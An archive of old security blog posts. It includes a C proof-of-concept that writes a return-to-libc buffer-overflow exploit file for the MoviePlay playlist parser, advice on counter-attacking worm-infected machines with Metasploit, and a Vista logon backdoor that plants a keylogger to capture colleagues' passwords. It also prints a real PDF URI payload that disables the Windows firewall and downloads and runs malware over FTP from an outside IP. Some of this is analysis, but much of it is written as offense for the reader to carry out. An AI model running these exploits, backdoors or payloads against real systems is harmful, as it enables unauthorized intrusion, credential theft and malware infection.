|
____________________________________________________________
07th September, 2008
Just "Return to libc" it
Stack-based buffer overflows use an executable stack to run code that has
been injected into the stack. If the stack has been set as non-executable
then jumping back into the stack will be useless as code injected into the
stack will not get processed. Fortunately there is a way to get around
this prevention mechanism known as Return to libc. Return to libc is also
known as arc injection. In return to libc, standard shared C libraries are
already loaded in the process address space which programs use, because of
this it gives us the ability to jump any number of functions already in
memory.
In order to abuse “return to libc” functionality all we need to do is
overwrite the return address with a function address say system() and
provide arguments needed for the function for the attack to be successful.
When jumped to the function address the machine instructions for that
function gets executed using the arguments we have placed on the stack.
The benefit to this approach is that code injection is no longer needed
but also argument size will be much smaller than a typical shellcode and
thus a small buffer is sufficient for exploitation. Also in this type of
attack the attacker does not need to have any shellcoding knowledge making
it that much easier.
But why wait to use this method till all stacks become non executable? Why
don't we just start using it now? After all knowledge of shellcoding no
longer needed and our argument will be much smaller and easier to input
and test. Also another big factor is that network-based intrusion
prevention systems will not detect any shellcode present and pass it
through. Sure there is issue of the function address of system() which
might be different from version to version of the operating system but
what's new. Jump addresses also change between versions if obtained from
the operating system. If however a jump address had been obtained from the
vulnerable program itself at least then the exploit will be universal to
that vulnerable program version but how often do we see jump addresses
being used from the vulnerable program? The reason being jump addresses in
the program are not available or just not reliable.
In the POC code below a buffer overflow vulnerability had been discovered
in the MoviePlay program when parsing LST files. Before our system()
function is called, the parameters of the function (our command to execute
in this case) have to be pushed onto the stack.
/*
[MoviePlay]
FileName0=C:\ + [command + padding + return address + dummy return address
+ pointer to command]
FileName1=
NumFiles=1
*/
#include <stdio.h>
int main(int argc, char *argv[])
{
FILE *poc;
int i;
printf("\nMoviePlay 4.76 Player playlist (LST) Buffer Overflow
Exploit\n");
if (argc < 2)
{
printf("\nUsage: %s <playlistfilename>\n\n", argv[0]);
return 1;
}
if ((poc = fopen(argv[1], "w")) == NULL )
{
printf("\n[-] Unable to create file\n\n");
return -1;
}
fputs("[MoviePlay]\n", poc);
fputs("FileName0=C:\\", poc);
// Command
fputs("cmd /C calc ", poc);
// Padding
for (i=0; i<1041; i++)
fputs("\x41", poc);
// Return address system() XPSP2
fputs("\xC7\x93\xC2\x77", poc);
// Fake return address for system(), exit() XPSP2
fputs("\x7E\x9E\xC3\x77", poc);
// Pointer to command
fputs("\x73\xD4\x27\x00", poc);
fputs("\n", poc);
fputs("FileName1=\n", poc);
fputs("NumFiles=1\n", poc);
printf("\n[+] File %s created\n\n", argv[1]);
fclose(poc);
return 0;
}
The dummy return address is needed for the system() function which in this
case points to the exit() function thus providing a clean exit without
producing any crashes. The final part of our string is “pointer to
command” points to our command string in the stack. This address can be
easily obtained by examining our stack as shown in the screenshot. Our
command can now be placed anywhere in the buffer so long our pointer to
command points to the first letter of our command. In this POC the command
only executes Windows calculator but any command string can be entered and
is left to our imagination.
Click to enlarge
References:
http://secunia.com/advisories/22959/
http://www.milw0rm.com/exploits/4051/
http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf
____________________________________________________________
07th January, 2008
Hacking the hacked
I thought it would be nice to mention about how to hack into machines
already compromised. Now scanning an IP address space is not ideal to find
vulnerable machines because choosing what range to scan, scanning a range,
querying vulnerable IP addresses, etc. takes time and resources not to
mention setting off alarms somewhere else with your IP address getting logged.
A much better way is just wait for someone to come and attack you :) Yes
viruses/worms are our best friend in this case. Chances are these infected
machines are still not patched as to why they are infected.
There a number of steps you will need to take:
1. Firstly make sure your machine is fully patched.
- You do not want to be the victim here :)
2. Install an intrusion detection/prevention software.
- This will give you the information to what vulnerability the worm is
trying to exploit plus will
give you added protection.
3. Put your machine in the DMZ to receive external traffic.
- If you are using a modem then chances are you will already have your
IP address external facing.
4. Disable your Windows
firewall.
- If it is enabled then all
inbound traffic will be blocked and your
intrusion detection software will not detect any malicious traffic.
You will be amazed how often your machine will get hit by worms using
vulnerabilities, some over 4 years old. What is more surprising are that
these infected machines are still not even patched :)
Once you've gathered a few IP addresses just take a moment to check the
machine if it is still vulnerable using single vulnerability scanner
tools. Once confirmed then just load up Metasploit and do your stuff.
click to enlarge
Best way to protect yourself from being compromised is use a natted
router. This will block any inbound external traffic hitting your internal
boxes.
____________________________________________________________
23rd November, 2007
Windows Vista Backdoor
Logon
The backdoor method works by exploiting the "Ease of Access" button
at the bottom left of the
Windows Vista Logon screen. Normally if you click the icon you will get a
choice of options Narrator, Magnifier, etc.
The way to exploit this is by replacing any one of the files with your own
program. Say if magnify.exe was replaced with cmd.exe then selecting
the magnify option would
bring up the console window.
Obviously in order to replace such windows files you will first need to
logon to the system with admin rights, take ownership of the file and
then replace the file with
with one of your own.
If you ever forgot your logon password you could use this backdoor
method and reset the password or connect to a remote share and copy
your files over.
The choices of files you can modify to get the backdoor working are:
magnify.exe, narrator.exe, osk.exe or utilman.exe
The utilman.exe is the main program that brings up the Ease of Access
window which calls the rest of the programs.
If you wanted to capture
someone's logon credentials normally even with local admin rights to the
box, majority key logging tools do not intercept keystrokes at the
ctrl+alt+del stage whether the tool has been loaded
up at boot as a service or
as a program.
click to enlarge
This backdoor method works a treat in an office environment for capturing
passwords.
1. Remotely connect to a desktop machine
2. Replace a file say utilman.exe with your key logger
3. Walk upto the desk and click on the "ease of access" button
Now just wait for the user to logon to capture the credentials :). Once
logged in the key logger terminates.
The Windows function GetAsyncKeyState() is all it takes to design a key
logger and is the easiest option.
One solution to mitigate the risk would be to make sure the utilman.exe
executable does not get replaced or executed. Various products on
the market will be able to lock it down.
Reference:
http://www.computerperformance.co.uk/vista/vista_backdoor_logon.htm
____________________________________________________________
14th November, 2007
Windows
URI protocol handling vulnerability
This is an interesting vulnerability first got published at the end of
July 2007 but really brought to light at the end of October 2007 when
spammers exploited this vulnerability by sending a specially crafted
URI (Uniform Resource Identifier) containing a "%" character and ending
with a certain extension (e.g. ".bat" or ".cmd").
Internet Explorer 7 on Windows XP or Server 2003 changes the way
Windows handles URIs. This change has introduced a flaw that can cause
Windows to incorrectly determine the appropriate handler for the protocol
specified in a URI.
In other words an input validation error within the handling of URIs
with registered URI handlers.
(e.g. "mailto", "news", "nntp", "snews", "telnet", and "http").
Adobe Reader and Firefox are to name a few which is used as an attack
vector to exploit this vulnerability.
The actual malicious PDF file spammed which was brought to my attention
was called "report.pdf" and was only 3,919 bytes in size.
Heres the embedded code which is obvious on what it does:
<</URI(mailto:%/../../../../../../windows/system32/cmd".exe"" /c /q
\"@netsh firewall set opmode mode=disable&@echo o 203.121.69.116>7&@echo
binary>>7&@echo get /ms32.exe>>7&@echo quit>>7&@ftp -s:7 -v -A>nul&@del /q
7&@start ms32.exe&\" \"&\" "con.cmd)/S/URI>>
As you can see the remote code execution was beautifully crafted.
Here are the steps it takes:
1. netsh firewall set opmode mode=disable
- disables the windows firewall.
2. echo o 203.121.69.116>7&@echo binary>>7&@echo get /ms32.exe>>7&@echo
quit>>7
- creates a script which will be used by ftp, script called here is
7
3. ftp -s:7 -v -A>nul
- runs the script via ftp which downloads the malware called
ms32.exe
4. del /q 7
- deletes the script
5. start ms32.exe
- finally executes the malware ms32.exe
6. GAMEOVER :)
McAfee AV detects the malware as Exploit-PDF
Sophos AV detects the malware as W32/PDF-URI.L
Symantec AV detects the malware as Bloodhound.Exploit.163
Updates for Adobe and Firefox have been released which mitigate this
vulnerability.
Microsoft have finally
released an update on the 13th of November updating the shell32.dll library which
handles the URIs.
References:
http://secunia.com/advisories/26201/
http://www.kb.cert.org/vuls/id/403150/
http://www.us-cert.gov/cas/techalerts/TA07-297B.html
http://www.microsoft.com/technet/security/advisory/943521.mspx
http://vil.nai.com/vil/content/v_139103.htm
http://www.f-secure.com/v-descs/exploit_w32_pdf-uri_l.shtml
http://securityresponse.symantec.com/security_response/ +
writeup.jsp?docid=2007-102318-0451-99&tabid=1
http://www.microsoft.com/technet/security/Bulletin/MS07-061.mspx
|
